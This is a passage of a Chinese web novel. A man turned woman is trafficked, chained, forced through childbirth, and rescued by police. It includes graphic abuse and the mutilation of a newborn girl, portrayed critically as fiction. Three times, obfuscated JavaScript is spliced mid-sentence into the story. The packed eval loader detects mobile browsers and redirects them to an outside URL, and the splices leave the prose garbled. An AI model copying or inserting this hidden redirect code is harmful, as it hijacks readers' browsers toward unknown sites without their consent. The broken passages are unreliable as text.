“就昨天晚上,昨天晚上事太多,警察把李天福他媳妇儿带走了,李天福因为拿锄头打了警察,也被抓走了,好不容易警察走了,谁也没料到爱娣趁乱跑了。” “爱娣他爸妈还以为她在睡觉呢,今天一早发现人没了,家里的户口本和三千块钱也没了。” “还以为爱娣老老实实给他哥换亲呢,谁知道闹这么一个大的。” “听说李家立刻把云云看起来了,就怕她也跑了。” 众人你一言我一语,辅以眼神交流,简陋的情报传播网迅速建立。 “居然还发生了这事。” 程老根不可置信,又想到爱娣经常跑来找自家儿媳妇玩,可别是儿媳妇撺掇的吧,可不能让他们家赖上自家。 “啊……” “啊……” 岳金群一声长,一声短的惨叫声响起,众人实在无法再以惨叫声为背景音唠嗑,纷纷拜别程老根,去别家拜年,也带走了程老根儿媳妇在生孩子的最新消息。 “宫口开得还是不够,羊水已经不多了。”接生婆又出来说道: “最重要的是胎位不正,怕是生不下来,生下来也是死胎。” “这怎么办,不能送医院啊,老嫂子,你也知道昨天晚上发生的事,要是送了医院,儿媳妇就没了啊,钱都打水漂了啊。求求你救救我儿媳妇和孙子吧。”程老根作势跪向接生婆。 “使不得。”接生婆忙阻止程老根下跪的动作。 “我试着转一转胎位吧,老根,是你死活不愿意送医院,现在你儿媳妇的情况也跟你说了,我只是试试,不敢保证一定转得过来。” “好,好,出了什么事我家担着,一定不怪老嫂子。” “金裙,醒醒,你现在胎位不正,我试着给你转一转胎位,你不要动啊。”接生婆说完这句话,就示意程有柱按着点。 揭开岳金群盖在肚子上的被子,便看到一条条青紫色的如虫子般的妊娠纹爬满肚子,要被撑破一般,接生婆按住肚子一侧去慢慢地向另一侧推去,试图在体外将孩子推着掉个头。 岳金群在疼痛中恢复了一点意识,早就受不了这无边无际的疼痛,只剩下一个想法,孩子必须尽快生下来。 别管男人女人,就算是圣人,肚子里有了也得生,唐僧要是不喝落胎泉水也得生啊。 感受到接生婆的动作,岳金群也不由得用意念配合动作,若是可以,恨不得亲手将这孩子掰过来。 接生婆忙活了许久,终于将孩子移位一点,但还是不够。 如此难产,羊水又早就破了,恐怕羊水要不足了。 “金群,在外面调整太慢了,恐怕得一尸两命,我要伸手进去调整,你不要动,不要抗拒。”接生婆又用热水仔细洗了手。 “有柱,你将她按住,一点都不能动。” 接生婆将手伸了进去,抓住了孩子的身体,伴随着岳金群的惨叫,一把调整了过来。 将鲜血淋漓的手拿出后,岳金群已然昏死过去。 “让她睡一会儿吧,一会把她叫醒,喂点糖水,继续生孩子。”接生婆用热水净手后,向程有柱说道。 “怎么样?”程老根在门外焦急询问道。 “胎位正过来了,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有柱,你去找村医,让他把输的液换一换,也来缝几针。刚刚你爸不知道怎么了,母女平安还不高兴。” 岳金群在生下孩子后就又昏死过去,接生婆把孩子放到一边,又对程有柱吩咐道。 “哎,好的,我这就去。” 生的是个女儿,程有柱虽然也有失望,但是不论如何,生下来就好,以后再生儿子就行。 接生婆等胎盘完整产出,对村医交代了一下现状便打算离开。 临走前劝慰程老根:“老根,现在母女平安已经是最好的消息,天大的幸运了,孙子过两年再生吧,这次出血不少,怕是伤了身子,好好给你儿媳妇和孙女补补,一个个都瘦的不行。” “好,谢谢老嫂子了。”程老根强行调整好心态,把给接生婆的谢礼拿上,送走了接生婆。 回来之后,程有柱坐在院子里吧嗒吧嗒抽起了旱烟。 太阳西垂,噼里啪啦的鞭炮声又响起,送别这开年第一天。 “有柱,把孙女抱出来。”待村医也走后,程老根终于下定决心,吩咐程有柱。 “爸,你要看孙女吗?进来看呗,外面这么冷,非要抱出来。”程有柱抱出仔细包裹的女儿,却见到程老根拿着一把刀。 “爸,你这是干什么,这好歹是我的女儿啊,养女孩又不费事,养大了也可以为弟弟换彩礼。” “把她的左手拿出来,我砍她一根手指头,以后女胎就不敢来我家投胎,下一胎一定生男娃。” “爸,不要吧。残疾了不好干活,也不好嫁人啊。”程有柱抱着孩子往后躲。 程老根一把夺过孩子,拿出孩子的左手,谁料孩子左手紧握成拳,突然大哭起来。 “有柱,你还想下一胎生女孩吗?为了生这个丫头,儿媳妇身子都伤了,什么时候才能再生出孙子?见不到孙子,我死不瞑目啊。”程老根仰天哭嚎。 程有柱虽然脾气上来,对自己亲爹也敢尥蹶子,但是亲爹真正要发怒,以死相逼,以孝相逼的时候,又完全不敢反抗。 程有柱磨磨蹭蹭上前来,强硬掰开女儿的小手,将通红的小指露出来,弱弱地商量:“爸,不要全部砍掉了,只砍一点吧,料想以后女胎也不敢来投了。” 程老根手起刀落,将孙女的小拇指砍断了去,女婴的哭嚎愈加凄惨。 12. 坐月子 “你醒了?” “我还活着吗?”岳金群暗暗想到,以为自己再也醒不过来,没想到睁眼便是近在眼前的程有柱。 “快吃点饭,喝点水吧。”见岳金群醒来,程有柱长舒一口气,将饭和糖水都给岳金群端来。 岳金群意识回归,肠胃仿佛也重新活了一般,叫嚣着。 略抬头喝了口水,一动又听到铁链晃动声。 他脖子上居然还拴着这根链子,尹月的铁链不是坐月子的时候就给摘了吗? 而且这一动,身上哪哪都疼,尤其是下身好像被人剪了一刀,胸部也有些胀痛。 岳金群又艰难躺下,看到身侧睡着历经千辛万苦生下来的孩子,孩子脸上还有未湿的泪痕,岳金群心里蓦得一软,看着孩子几乎挪不开眼。 看到程有柱也探了过来,岳金群突然又反应过来,他怎么会有这种感觉?他以前第一次见自己的孩子,也从未有过这种怜爱心软的感觉,仿佛不知道要如何爱不释手。 难道历经生死,亲自生的孩子就如此特殊吗?还是作为女人的激素如此可怕,让他如此快速地投入到母亲的身份中? “生的男孩还是女孩?”岳金群一出声,发现自己嗓子已经沙哑得不成样子。 “女孩,”程有柱声音低下去,又打气一般提高声音,“没关系,我们再接着生,下一个肯定是男孩。” 岳金群莫名有些失望,可能是自小耳濡目染,父亲对他的期许,母亲对他的爱怜依靠,姐姐对他的爱护又嫉恨,书本、电视、亲朋、四邻,这世界的一草一木,一砖一瓦,乃至这空气,都在向他默默诉说着重男轻女。 他是男人,是这个世界的主宰,如果有好处、便宜、正面的、积极的不是他的,那就抢过来,将坏处、无偿付出、负面的、消极的扔给女人承担就好。 他高贵的妻子,为生不出儿子一再退让,他娇媚的情人,也为生出儿子挺直腰杆。 他,他的妻子,他的情人,理智上都知道生男生女都一样,但是心中的天平不免倾斜,避免不了听到生女儿就暗暗失望,听到生儿子就欢欣鼓舞。 遇到有儿有女的人家,就赞叹“儿女双全,好福气”,遇到只有女儿的人家,就或打探、或催促“还生吗?再生一个儿子吧”。 不可避免的,他们都被这个世界腌入了味。 如今,他成了女人,却没有生出儿子,他心理上并不好接受,他一个原先的男人,竟还不如头胎生儿子的土生土长的女人。 如同答了一张考卷,想要拿到优秀,却只拿到了良好,虽然也好,但总觉得有些不完满。 不,不,不能这样想,岳金群甩一甩脑袋,将这些乱七八糟的都清空。 他岳金群可不是要乖乖在这儿做女人生孩子过一辈子的,他可是要找机会逃走的,生男生女跟他又有什么关系呢。 “起名字了吗?” “我爸给起了名字,叫来娣,一定会来个弟弟的。是吧,来娣?” 程有柱摸一下孩子的小脸逗弄,仿佛要孩子给出某种玄学的肯定。 “什么?来娣?这名字也太重男轻女,不要。” “我爸给取的嘛,这个就当小名吧,你有文化,大名你来取。”程有柱赔笑道。 “哇……哇……”说着话,孩子又哭了起来。 “金裙,你给孩子喂喂奶吧。”程有柱抱起来娣,递到岳金群面前。 “什么?让我喂奶?我哪里有奶?我怎么喂奶?”岳金群二次震惊,慌忙躲避。 “金裙,孩子都生下来一天了,该吃奶了,我问过接生婆了,一般生下来第二天就有奶了,你解开衣服,让孩子吃,看能不能吃出奶来。” “接生婆还说了,要是孩子劲儿小吃不出来,就让我吃出来,你再喂孩子。”程有柱说到这里还有些羞赧。 岳金群看到他这样就泛恶心,“你们不怕我把孩子掐死吗?还敢让我喂孩子。” “金裙,这也是你的孩子啊,难道你会掐死吗?你难道还不想和我好好过日子吗?” “那为什么还不把铁链打开?口口声声让我跟你好好过日子,却拴着我,防备着我。”岳金群避而不答,将锅甩给程有柱。 “金裙,前天警察来了,你还想跑,我们不敢打开啊。 那个老李家媳妇儿,老李一家对她那么好,月子里就把铁链放开了,结果呢,还是联系警察给救走了。”程有柱提起这个也满心后怕,幸好警察没把岳金裙也带走。 “你老老实实听话,服服帖帖给孩子喂奶,我总会放了你的。”程有柱将孩子递给岳金裙,最后承诺道。 岳金群也没办法,自从变成女人以来,他总是处于弱势,他只好软下态度,温言软语。 “有柱,常言说,真心换真心,那个老李家媳妇儿,要不是被送去代孕,会闹这一出吗?还不是他们老李家想靠她肚子再挣一笔钱。 生孩子我也过了一趟鬼门关,这孩子也生出来了,我也不想折腾了,你们好好对我,我就给你好好做媳妇儿行吗?等我养好身子,再给你生个大胖小子。”岳金群为程有柱画出一张从前最擅长画的大饼。 “好,好。快喂奶吧。”程有柱得到大饼,喜不自胜,自以为岳金群已经转换态度,越发殷勤。 岳金群撩开衣服,让程有柱拿一块热毛巾,先擦洗一下,他也很疑惑,到底有没有奶啊? 将孩子的襁褓也弄开了一些,将要试着喂奶之时,却突然看到孩子左手包着渗血的纱布。 “这是什么?孩子手怎么了?” “已经找村医上过药了,没什么事。孩子还哭呢,快喂奶吧。” 岳金群先让孩子吸允,这是一种说不清楚的感受,有点新奇。 “孩子的手到底怎么了?” “就是我爸爸怕下一胎还是女孩,就剁掉了她的一截小拇指,这样下一胎就没有女孩敢投胎,一定是儿子了。” 岳金群听了勃然大怒,不顾自己虚弱的身体,沙哑发痛的嗓子嘶吼出声。 ”你们是疯子吧?愚昧无知!生男生女,都是你的原因,要你排出y精子才会生男孩,跟我没有关系,跟其他乱七八糟的也没有关系,多看几本书去吧!” 他每次想要软下态度缓和关系,总会被他们的骚操作刺激和恶心得破了忍功,这些人简直不可理喻,无法沟通。 岳金群想起来了,确实某些地区有过这样的习俗,清朝有笔记还记载了活烤女婴,目的是让她的魂魄知道惧怕,不敢再来。 如此迷信,如此愚蠢,如此狠毒。 岳金群厌恶地闭上眼睛,他一眼都不想多看程有柱,如果能瞬移,他想立刻,马上离开这里,离开这个十八层地狱一样的地方。 “你发什么火?你才是疯子,没生儿子你还有理了?这不是为了你下一胎一定生个男孩吗?我跟你说不清楚。看在你刚生了孩子的份上,我今天不跟你计较。” 程有柱恼羞成怒,孩子没了小指,他也难受,但那是他爸爸,也是为了孙子快点来,他又能做什么呢? 岳金群’嘶’的一声睁开眼睛,程有柱已经不在屋内,孩子一直在吸允,越来越急切,哼哼唧唧,吸得快要破皮,他把孩子扯开,孩子又哇哇大哭起来。 这孩子不仅什么都没吸出来,还把岳金群弄得疼得不行。 孩子越哭越厉害,呼吸急促,有点喘不上气,嘴唇也越来越紫。 岳金群慌了,他可从来没有单独照顾过一个刚出生的婴儿,他以前的孩子可是都会叫爸爸了,他才偶尔逗弄一下的。 “程有柱,程有柱。”岳金群大声呼喊。 “怎么了?你又有什么事?”程有柱慢吞吞走过来,不耐烦问道。 “你看孩子,吃不到奶,她成这样了,嘴唇都紫了,快要憋死了,快送医院啊。” “送什么医院?女孩要少花钱,少招人嫌。是你不会养孩子,我去找个养过孩子的人来。”程老根在门外训斥道。 “有柱,你出来吧,让你堂嫂教教她。”程老根把程有柱叫了出去。 “生,生不出儿子,养,也不会养女儿,你还会干什么?”程老根低声用大家都能听到的音量哼道。 岳金群磨牙,想要回嘴,但是想到人在屋檐下,不得不低头,程有柱也不会帮自己,只得平息了怒火。 “咳,金裙,我是有柱的堂嫂,我女儿才半岁,我来帮你看看孩子。” 一个妇人走进来,身材较丰满,肤色微黑,身上还有一股奶味。 她面色有些尴尬,似乎对程老根的话也有些不满,但毕竟不是自己亲公公,懒得搭理,进来就抱走孩子,轻哄起来。 “金裙,你现在还没奶吧?让孩子先吃我的吧,孩子就是这样,饿了就哭。” “谢谢堂嫂,刚才让孩子吃奶,但是一直没吃出来。” “没事,先吃我的,等你有奶了再喂孩子。” 玉玲就势喂起了孩子,又摸了摸孩子的尿布,“金裙,孩子的尿布也该换了,等孩子吃饱了,我教你换。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730150|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >玉玲很是热心积极,她是真心可怜金裙,看脖子上还拴着铁链呢,程老根父子真是畜生不如。 玉玲把孩子安置妥当,自然看到了孩子的左手包扎着,问清原委后,万分惊骇,要是自己的女儿被这样对待,拼命的心都有了。 程老根父子就是欺负岳金群是个被拐卖来的外地人,生死都掌握在他们手中,举目无亲,才这样肆意欺辱。 玉玲更加可怜岳金群母女,仔细传授起养孩子的经验。 “这个孩子哭了之后上不来气,嘴唇发紫,也是有可能的,你要是不放心,就让有柱找村医来瞧瞧,孩子无小事。” “你太瘦了,一直没奶也不行,我跟有柱说,让他多给你熬点猪蹄汤、鲫鱼汤,都是催奶的。” 玉玲细细叮嘱,见岳金群仍有愁容,又细细开解道:“咱们女人想要把自己的日子过好了,就得会自己开解自己,我知道你难,他们父子不是个东西,且熬着吧,总会熬出来的。” 说到后面,声音略带哽咽。 两人一个热情教,一个认真学,正是教学氛围浓厚的时候,突然,一道嘶吼的声音传来。 “岳金裙,你还我女儿,你到底把我女儿藏到哪里去了?” 一个女人推开挡路的程老根父子,闯了进来。 “我看在你被拐进我们村,又被拴着,一个人可怜,好心好意让爱娣来找你玩,开导你陪你解闷,你怎么做的?你到底跟我女儿说了什么?我女儿到底去哪儿了?” 王引娣发疯一般,就要扑在岳金群身上,玉铃挡住了她,阻拦道:“婶子,她刚生完孩子,爱娣的事也不一定和她有关系啊?” “和她没关系?怎么会没关系,她就是不安生,要是安生,怎么让铁链拴着?” 转而又攻击玉铃,“你这么护着她,是不是也想跑?我告诉你男人去,让你男人把你也拴上。” “跟我有什么关系,你别乱咬人,爱娣就是不想去换亲,你们非要逼她,我看她跑了才是对的,就因为有你这样的妈。”玉玲也怒了,立刻反唇相讥。 程有柱这才拽住王引娣,“婶子,你们消消气,爱娣的事跟我家真没关系啊。” “怎么没关系,爱娣就是因为你媳妇儿的撺掇才跑的。”王引娣的儿子和丈夫也跟了进来,不依不饶。 “老弟,当初爱娣是自愿过来的,也就是和我儿媳打打牌,说笑一阵,我也时不时听她们说话,我儿媳妇是真没撺掇过什么。”程老根挤了进来,对程德和王引娣夫妇说道。 “你们要是不信,我们就找村里的族老过来,一起评评理。我儿媳妇还要坐月子,咱们都出去吧。” 程德见程老根把族老抬出来,他家也没有证据证明程爱娣的逃跑和岳金群有关系,也不敢太过分。 “老哥,我也没别的意思,我就是想问问金裙,她们玩了这么长时间,知不知道爱娣去哪了?爱娣有没有透露过什么?爱娣一个人在外面,要是被人骗了,拐了,我们实在是不放心啊。” 众人都齐刷刷看向岳金群, “我不知道,爱娣从来没跟我说过,我们就是玩玩牌,其他的没多说过。”岳金群冷着脸不看他们,抱着被吓哭的孩子轻轻摇晃着。 “金裙,你就跟婶子说了吧,我担心爱娣啊,我的女儿啊。 婶子还救过你呢,要不是婶子把你从山上背下来,你就被蛇给毒死了。婶子给你磕头了。” 王引娣转变态度,朝岳金群跪下嚎啕,捶胸悲痛不能自已。 岳金群闻言猛转头盯向王引娣。 原来是你,我原本已经跑出去,又把我送进这地狱,还不如让我那时候就被蛇毒死了呢。 “婶子,我真不知道,您快起来吧,爱娣真的没跟我说过。” 岳金群口中叫着起,但是两只手都被孩子占着,装作不知所措的样子,连个腰都没弯。 “婶子,我媳妇儿真是什么都不知道,你们赶紧再去外面找找吧。” 程有柱一把将王引娣从地上拽起来,和程老根一起,将这一家人都推了出去,到了大门口的时候,发现李天恩一家也朝自家而来。 “天恩,你们怎么来了?”程德惊诧。 “云云也不见了,你们不是说爱娣不见,可能和程有柱媳妇儿有关系吗?我们也来问问。” “跟我家没关系,你家云云连我家门都没进过,跟我家有什么关系?你们都给我走。”程天柱怒了,一个一个都跑我家要人了?拿起一旁的扫帚,挥舞几下将他们都赶了出去。 13. 喂奶 “嘶……”钻心似的疼袭来,岳金群手脚都疼出汗。 他把正在吃奶的孩子推开,果然,又出血了。 吃奶的劲儿真是大,吮吸力惊人,出生没几天的孩子,却频繁把岳金群嘬出血,好不容易愈合一点,又给嘬开,每次喂奶都是鲜血淋漓。 “程有柱,你没看到我流血成这样,喂不了奶了吗?我快疼死了,买奶粉喂孩子,我让你去买奶粉。” 岳金群不知道多少次又吼向程有柱。 “买什么奶粉,你又不是没有奶,一个丫头,吃什么奶粉?不买。有柱,不准去买。”程老根在门外听到,又一次拒绝。 程有柱夹在中间无所适从,一个屁都不敢放。 “金裙,你再忍忍吧,等好了再喂,我再给孩子喂点糖水。” 程有柱看着哇哇大哭的孩子也有点心疼,但是也赞同父亲的话,要是个儿子,买奶粉就买奶粉了,这是个女儿,给她买奶粉总觉得亏了似的,而且家里为了买岳金裙已经掏空了家底,哪有钱让孩子一直喝奶粉。 孩子越哭越用力,喘气越发困难,嘴唇紫色也越发明显。 “有柱,叫医生过来检查一下可以吧,你看孩子都要憋死了。”岳金群看着孩子越发严重,顾不得什么奶粉了。 “哦哦,我待会去叫。”在程老根不悦的瞪视下,程有柱讷讷应了。 岳金裙这些天确确实实体会到了当母亲的劳累与痛苦,生产的疼痛,□□被剪了一刀,一动就疼。 而且还要一个这样的伤员亲自照顾孩子,频繁起夜,鲜血淋漓地喂奶,频繁换尿布,等等,能被说出来的困难不足体验到的万分之一。 因为是个女儿,程老根时不时冷嘲热讽,拒绝岳金裙的一切求助,而程有柱仅仅能在白天做一做换换尿布,喂喂糖水的工作,到了晚上他就睡的人事不知。 这还仅仅因为这段时间过年,程有柱不去做工,要是等年过完,程有柱白天还要去工作,带孩子就完全是岳金群一个人的事。 被深夜哭醒折磨的时候,崩溃情绪上来的时候,岳金群恨不得掐死这个孩子,但是双手放在了孩子脖子上,终究是下不去手。 他知道这是个孽种,但是这也是一条生命。 他可以漠视一条生命的逝去,可以用很多手段推波助澜,但是让他亲手去终结一条生命,他又实在下不去手。 要是孩子真的死了,说不定还如了程老根这个老登的意了。 仅仅几天,岳金群就仿佛被抽走了魂一般,身体与精神都要濒临崩溃。 “金裙,孩子睡了?”玉玲抱着自己的女儿来了,她的女儿哼哼唧唧,在她身上乱拱。 “嗯,刚睡下。嫂子快坐吧。”程有柱喂了一些糖水,孩子终于哭累了睡了过去。 玉玲这几天多次来向岳金群传授养育孩子经验,但还是第一次把她的孩子带过来,岳金群好奇地盯着玉玲的孩子看。 “嫂子,你孩子怎么了?怎么要哭了?” 玉玲撩起衣服,孩子立刻熟练地钻进怀里满足地大口吃了起来。 “我女儿半岁了,我婆婆一直让我给孩子戒奶,早点怀孕生个儿子,说女孩子不能喂太久,半岁就必须断奶,不然对她长大了不好,会害了她,不像男孩子,随便吃到多大都可以。” “我也不知道这是真的还是假的,咱们村的女孩确实大部分都是半岁就戒奶,最多吃到八个月,我妈说我也是吃到半岁就戒奶,我老公倒是吃到3岁才戒奶。” “但是每次一戒奶,我女儿就开始生病,吃不下别的东西,让人心疼得不行。 刚我婆婆又喊着让我女儿戒奶,我不敢在我家喂,我来你家再喂她几天,她生病才刚好,别一断奶又病了。” 玉玲爱怜地摸着女儿的额头,将她吃奶吃出的汗温柔抹去。 特么的,重男轻女又舞到了他的面前。 岳金群以前几乎没察觉到什么重男轻女,社会正常运行,世界井然有序,一切都正常而美好。 在爱丁堡国,男女平等是基本国策。 男人英武强大而女人娇小柔美是正常的,男人风流而女人守节是正常的,男主外女主内是正常的,男娶女嫁是正常的,家暴乃家务事是正常的,追生男孩是正常的,只给儿子买房买车倾尽所有是正常的,伟大的女性被称为先生是正常的,男人比女人更懂女人更是正常的。 …… 以前,岳金群甚至觉得有点重女轻男,脏活累活男人上,天价彩礼男人出,娶不上媳妇儿的男人千千万,女人却整天嚷着不婚不育。 他是男人,理解男人,同情男人,天生站在男人的立场上,他也致力于使男女地位达到正常的男女平等。 但是自从变成了女人,视角似乎都掉了个个儿,从前看不到的那些对于女性的轻视、不公与压迫,一次又一次地显露在他眼前。 他身体变成了女人,也身处在了女人的处境,不由得不重拳出击,不打拳,就要被憋死,被欺负死了。 她终于由衷地站在了女性的立场上,认可自己女性身份,争取身为人类女性的权益。 “嫂子,我以我的大学学历做保证,从来没有女孩子吃太久母乳不好的说法,反而母乳喂养,可以提高免疫功能,不容易生病,有利于牙齿发育,2岁之前都建议母乳喂养。”岳金裙正色道, “嫂子,你婆婆肯定是想让你赶紧戒奶生儿子,才这么说的。女孩少喂,男孩多喂,这就是重男轻女。” “你不像我,我身不由己,但是你不一样,什么时候戒奶和生孩子,按照你自己的意愿来。”岳金裙直跪而起,按住玉玲的肩膀,表情严肃。 “额……好。”玉玲被岳金裙突如其来的郑重与严肃弄得有点呆愣,愣愣点头答应下来。 岳金裙突然泄气,也觉得有些可笑,接连的刺激一朝发泄,在旁人看来不正常了似的。 “金裙,老叔来了。”程有柱将村医领了进来。 “金裙,来娣病了?”玉玲将衣服整理好,女儿已经睡着了,她慢慢拍着。 “嗯,老叔,我女儿的嘴唇和指甲都有点青紫,哭的厉害了就会喘不上来气,嘴唇也会更紫,越来越厉害,她不是足月生的,不会有什么问题吧?”岳金裙应了一声,向村医说明病情,也向玉玲解释。 村医拿出设备仔细检查了一番,又是查体又是听音,眉头越皱越紧,最后摘下听诊器说道:“可能心脏有点问题,最好还是去大医院看一看,我也不敢贸然下判断。” “什么?心脏有问题?谁还能给她换心脏啊?”程老根一听就急了,不断重复:“真是个赔钱货,真是个赔钱货。” “有柱,我们再去医院检查一下。”岳金裙也很急,求向程有柱。 “不行,你还想跑是不?”程老根立刻拒绝。 “我不跑,这是我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730151|157260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女儿,你的孙女,要是有什么问题,现在还有可能治好,越长大,越不好治。” “不治,没钱。”程老根气哼哼扔下这两句话,转身走了出去。 “有柱,你治不治?我一定要给女儿治病,你要是没钱,把我放开,我去挣钱。”岳金裙直视程有柱。 “唉,最好还是去大医院先检查一下,有柱,就算不带金裙,你先抱着去查一下也行啊。你们商量吧,我先走了。”村医收拾好东西,摇着头走了。 “就是啊,有柱,你先带孩子去检查一下再说。”玉玲也在一旁劝道。 “好,金裙,你先别急,我先带孩子去大医院检查一下,我们再说。”程有柱在岳金裙的逼视和村医、玉玲的劝说下,终于答应。 程有柱暗自揣度,看岳金裙这么在乎孩子,一听到孩子有病这么急,肯定是愿意跟他好好过日子了,应该不会跑了,放了她,应该也可以。 “好。”岳金裙不再看程有柱,抱起被扰醒的孩子,换尿布,喂糖水,轻轻哄睡。 “警察又来我们村了。”程老根快步走了进来。 众人一起看向岳金裙。 玉玲一看这个情况,觉得这不是自己能掺和的,立刻出声道:“我先走了,我把孩子抱回去睡。” 不再多说,玉玲抱起孩子立刻走了。 岳金裙听到这个消息一愣,拍孩子的手停了一拍,立刻反应过来,继续如平常速度拍孩子, “来就来呗,到我们家来了吗?” “没有,是程德和李家报了警,为了爱娣和云云失踪的事,警察是来调查这个的。”程老根说道,仍是紧盯着岳金裙的表情。 “既然不是来我家,那就跟我们没关系。”岳金裙轻笑道,尽量摆出事不关己的态度。 “爸,刚刚我跟有柱商量好了,先让有柱带孩子去大医院检查一下,看看到底是什么情况。”岳金裙生硬转移话题,希望他们不再执着于自己会逃跑这件事。 一室沉默,无人应答。 “你们还盯着我做什么?还怕我跑了呀?”岳金裙见程老根父子还是盯着自己,故意点破。 “金裙,你带着孩子还是跟我到地窖里面躲一躲吧。”程有柱最终说道,移开了盯着岳金裙的视线。 “地窖那么湿冷,孩子怎么受得住,而且你是不是忘了,我刚生完孩子,伤口还没愈合呢,我怎么能去地窖?警察一天不走,我还要在地窖待一天吗?” 岳金裙反应激烈,听到警察来的消息,她确实心有触动,若去了地窖,除非警察能够掀开地窖,否则又要错过这个机会。 而且地窖湿冷对自己和孩子有害也是事实,她实在不想去地窖受罪。 “必须去地窖,要么你自己去,要么我们绑着你去。万一警察把你带走了,我家的钱就全打水漂了。”程老根最后一锤定音,不容岳金裙拒绝。 “好,我去,得把被褥也收拾下去。孩子的尿布、糖水都要收拾下去。”岳金裙不得不听从,装作要动手收拾的样子,想磨磨蹭蹭收拾东西,最好能等到警察过来。 “不用收拾,有柱,就这么下去吧。”程老根不容岳金裙磨蹭。 程有柱也不敢耽误,立刻将岳金裙锁在床柱的锁链解开,拽着岳金裙就走。 岳金裙现在要扮演认命的小媳妇,不能再惹怒他们,打下的良好基础不能毁了,只能顺从地跟着程有柱下了地窖。 14. 见警察 虽然过了年,温度有所回升,但是严寒还未过去。 地窖虽是冬暖夏凉,但那是相对于席天幕地而言,而相较于室内,地窖还是阴冷得难以承受。 岳金裙下到了地窖,上次躲避在地窖中,剧烈挣扎留下的痕迹便撞入了眼中,屈辱、愤恨、疼痛,甚至绝望无助皆袭上心头,她不忍再看,抱着孩子,在程有柱拿下来的凳子上坐下。 程有柱也坐在她的身侧,二人没有交流,皆是呆呆坐着,沉入自己的思绪中。 “程老根是吧?我们上次来过,你儿子不在吗?”警察果然又来了。 上次虽然是为了救尹月而来,但是在救人的过程中,被一个小姑娘告知了程老根的儿媳妇儿也是被拐卖来的,一直被拴着,希望也能去救人。 上次因为村民的冲突,未能救出岳金裙,也不敢频繁进村,以免生人进村打草惊蛇,让他们有所防备,转移了被拐人,甚至受刺激过度,杀死被拐人。 正好接到了程爱娣和李云云失踪的报案,便趁着走访调查的机会,又来到了程老根家中。 “我儿子出去打工了。”程老根局促答道。 “这还没出正月就去打工了?” “是啊,要挣钱啊。” “你儿媳妇呢?” “我儿媳妇……我没儿媳妇啊,我儿子还是个光棍呢。政府能给娶个媳妇儿吗?” “娶媳妇儿要自己来,自己勤奋能干,才有愿意嫁的姑娘。” 警察一边说着,一边往里面走,东张西望,“你们村的程爱娣和李云云知道吧?最后一次见她们是什么时候?” “哎呦,她们两个的失踪可和我家没关系啊,上次见她们得年前了。”程老根试图阻止,走到了警察的前面,阻挡他们。 “我们在你家转一转,怀疑程爱娣和李云云藏在你们家。” “可没有啊,这是谁说的。”程老根大惊失色,慌忙争辩。 警察又走到了岳金裙住的屋子,见到屋内小被褥、尿布一应俱全。 “这些都是谁用的?你们家有孩子了吧?哪来的孩子?买来的?”警察厉声质问。 “没有,没有,这都是我想孙子,想的都疯魔了,才准备了这些。”程老根急中生智,胡搅蛮缠。 警察懒得跟他多啰嗦,越发肯定了程老根有一个儿媳妇的说法。 他们这次兵分两路,一部分到达程爱娣和李云云家了解情况并走访四邻,而他们几个来过程老根家中的人,便直扑程老根家,等他们几个找到被拐妇女,两相认证,程老根自然就无从抵赖。 警察查完几个屋子,一个人都没找到,便知道程老根又转移了人,但是这么短的时间,相信也走不远,便又往屋后查去。 岳金裙听到地上有说话声传来,越来越近,装作认命的小媳妇不代表真的认命了,任何机会都不能放弃,便偷偷掐女儿一把,女儿立刻哭了起来。 程有柱被惊得跳起,慌忙去捂女儿的嘴。 岳金裙将女儿扔向程有柱,将拴住脖子的锁链一拽,趁着程有柱手忙脚乱去接女儿,将拴住她自由的锁链拿到自己手里。 她心跳如擂鼓,数次的逃跑失败已经严重打击她的自信心,不敢相信这次竟然如此的成功。 岳金裙越过程有柱手脚并用爬上台阶,疯狂敲击着地窖的入口挡板。 程老根为了防止地窖内的人,也就是岳金裙跑出来,在入口挡板上压上了重物,岳金裙从下面推不开挡板,只能疯狂敲击,并大喊救命,希望以此来吸引地面上人的注意。 程有柱已经反应过来,接到女儿后随手放在地上,几步蹿到岳金裙身后,拽住岳金裙脖子上的锁链,捂住岳金裙的嘴,将岳金裙往下拖,捶打踢踹,压制岳金裙反抗的力度。 呼救的窗口时间只有那么几瞬,岳金裙拼死挣扎,无法挣脱,也只能等着地上的判决。 幸而女儿还在哭着,撕心裂肺一般,极具穿透力。 哭得再响亮些吧,我的好女儿,岳金裙暗暗祈祷。 “什么声音?”警察和程老根都听到了哭声、敲击声和求救声,警察迅速确定位置,几步便扑向地窖入口并开始搬压在上面的重物。 “不能搬,不能搬。”程老根慌忙呼喊,手忙脚乱地阻止。 警察随手推开程老根,终于将地窖打开了。 冬日的阳光照进了地窖中,也照在了岳金裙带着笑的脸上。 程有柱也呆愣在了原地,岳金裙一把推开他,手脚并用向出口爬去,牢牢握住了警察来拉她的手。 